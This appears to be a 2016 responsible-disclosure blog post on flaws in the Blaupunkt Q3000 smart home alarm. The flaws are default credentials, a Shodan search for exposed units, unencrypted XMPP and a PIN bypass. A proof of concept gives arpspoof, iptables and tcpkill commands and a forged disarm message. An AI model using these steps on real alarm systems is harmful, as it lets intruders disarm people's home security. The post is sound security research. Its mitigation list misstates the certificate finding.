Blaupunkt Smart Home Alarm Q3x00 vulns

Christopher Bleckmann-Dreher

• 5 min read

Introduction

As IoT is a huge topic nowadays and a lot of vulnerabilities have been found on that devices during the last months my team and I took a quick look at the IP based Smart Home Alarm system Q3000 of Blaupunkt.

Blaupunkt Smart Home Alarm 3000

The system consists of a controller called ("Alarmzentrale" in german) and several sensors like motion/presence detectors, door or window contacts. The controller is connected by cable (no WiFi available) to the router. As stated in the manual the system could only be managed by a web app or by a mobile app. So there is normally no way to manage the alarm system without a working internet connection that allows outgoing XMPP (TCP port 5222) connections.

Vulnerability 1: Default Credentials

The controller is running a local webserver, that is accessible with default credentials as shown below.

user:     admin
password: admin1234

So any controller directly exposed to the Internet is vulnerable for several attacks like disarming the system or observing the residents.
The following screenshot shows the results for a search on Shodan for directly exposed systems. Search term: Server: MQX HTTP Climax

Shodan results for Server: MQX HTTP Climax

That's not a huge number, however some of them are indeed accessible with the default credentials.

Furthermore as the authentcation is implemented by a HTTP Basic scheme and no CSRF protection is in place the controller is also vulnerable for advanced CSRF attacks as written in another blog post in 2015.

Vulnerability 2: Missing encryption

As shown in the following network dump the connection from the controller to the backend system of Blaupunkt is unencryptet.

tcpdump of port 5222 reveals unecrypted XMPP messages

So an attacker who jumps into the right position is able to perform an active man in the middle attack. So for example this could be achived by an arpspoofing attack if the attacker has access to the local LAN. There are much more ways like DNS rebinding through an CSRF attack against the local router or by rerouting ISP traffic.

Vulnerability 3: Broken PIN validation

If the legitimate user wants to disarm the alarm system he has to supply the correct PIN that was set before. However during the tests it was possible to inject a disarm XMPP message in the hijacked connection without supplying any PIN and the system got disarmed. By supplying a wrong PIN the system fails to disarm. So that shows that the PIN is an optional parameter that is enforced by the mobile or native app when disarming the system but for an attacker who hijacked the connection as described in Vulnerabily 2.

The request that is sent to the controller when disarming the system with PIN 1234 by mobile or web app is like:
<message id="n8156-624695" to="001d9404ffff@climax-home-portal" type="chat" from="security_admin@climax-home-portal/Smack"><body>4150795OqiESNX2RCHC/:;MODA:1,0,1234</body>

The instructions to disarm are represented by the mode and the correct PIN: MODA:1,0,1234

Disarming also works when removing the PIN from the request like:
<message id="n8156-624695" to="001d9404ffff@climax-home-portal" type="chat" from="security_admin@climax-home-portal/Smack"><body>4150795OqiESNX2RCHC/:;MODA:1,0,</body>

Remark

message id and the random (maybe cryptographic) value 4150795OqiESNX2RCHC/ right after the <body> tag is not verified and can be set to anything.

PoC

The following demo setup was chosen for the proof of concept. Mallory was able to to hit the local network of Alice by exploiting a vulnerable wifi router with WPS enabled.

Within the local network Mallory fires up arpspoofto redirect the traffic between the controller 192.168.2.100 and the local router 192.168.2.1 to himself.

arpspoof -t 192.168.2.1 192.168.2.100 & >/dev/null
arpspoof -t 192.168.2.100 192.168.2.1 & >/dev/null

Mitm demo setup

For intercepting and changing the XMPP messages we used XMPPPeek and extended it with some simple regex filters to replace messages.

The controller regularly sends keepalive/heartbeat messages to the Blaupunkt backend and receives the responses in <iq type="result" messages. So we decided to replace that keepalive responses with the message to disarm the alarm system.

re.sub(r'<iq type="result" id="panel(.*)" to="(.*)@climax-home-portal/panel"/>',
r'<message id="n0000-000000" to="\2@climax-home-portal" type="chat" from="security_admin@climax-home-portal/Smack"><body>4150795OqiESNX2RCHC/:;MODA:1,0,1234</body></message>', message)

After starting the XMPPPeek proxy you have to set a iptables rule that redirects all XMPP traffic to that proxy:

iptables -t nat -I PREROUTING -i wlan0 --source 192.168.2.100 -p tcp --dport 5222 -j DNAT --to-destination 192.168.2.101:5222

and kill all existing tcp connections of the controller tcpkill -i wlan0 host 192.168.2.100. After several seconds you should see the XMPP session from the controller and again after several seconds you should hear the disarm signal of the controller.

Timeline

  • February 25, 2016: First contact with Blaupunkt Sicherheitssysteme ([email protected]) and asking for security contact and SMIME/GPG
  • February 25, 2016: Support replied with details for security contact
  • February 26, 2016: Sent overview of vulnerabilities to security contact
  • February 26, 2016: Blaupunkt security contact asked for details
  • February 26, 2016: Responsible disclosure to Blaupunkt security contact
  • March 01, 2016: Blaupunkt security contact acknowledged 'Vulnerability 3: Broken PIN validation' but told us that encryption is enabled since October 2015
  • March 01, 2016: Blaupunkt security contact asked for the MAC address of our controller for checking the firmware version and trying to update it remotely hmmm. fire up tcpdump :)
  • March 13, 2016: Asked Blaupunkt security contact for an update of the remediation
  • March 29, 2016: Blaupunkt security contact answered that the problem cannot be fixed by a firmware upgrade we don't understand why and asked for our address to ship a new controller
  • March 29, 2016: Asked Blaupunkt security contact how other controllers that are already active will be replaced
  • April 22, 2016: Received new controller from Blaupunkt (Hardware revision V1.0 and Firmware MZ-1_G 1.0.1.26A)
  • June 14, 2016: Sent analysis to Blaupunkt security contact of the new controller. Short: Still vulnerable, because server certificates aren't validated
  • June 24, 2016: heise.de published article co-authored by me:
    German: http://www.heise.de/ct/ausgabe/2016-14-Sicherheitsleck-in-vernetzten-Alarmsystemen-3242034.html
    English: http://www.heise.de/ct/artikel/Home-security-systems-hacked-with-1234-password-3248831.html
  • August 25, 2016: Public Disclosure

Mitigation

  • Contact Blaupunkt to receive a new controller
  • However at the time of writing that post we cannot confirm that the new controller does use a encrypted communication that is secure because we are still waiting for it
  • Analysis revealed that also the new controller versions are vulnerable, because server certificates are validated
  • Encapsulate the insecure communication within a VPN that you trust

Final word

In the article of heise.de Blaupunkt stated that they are able to update the controllers remotely to change the default credentials. Two months after that statement nothing has happened ...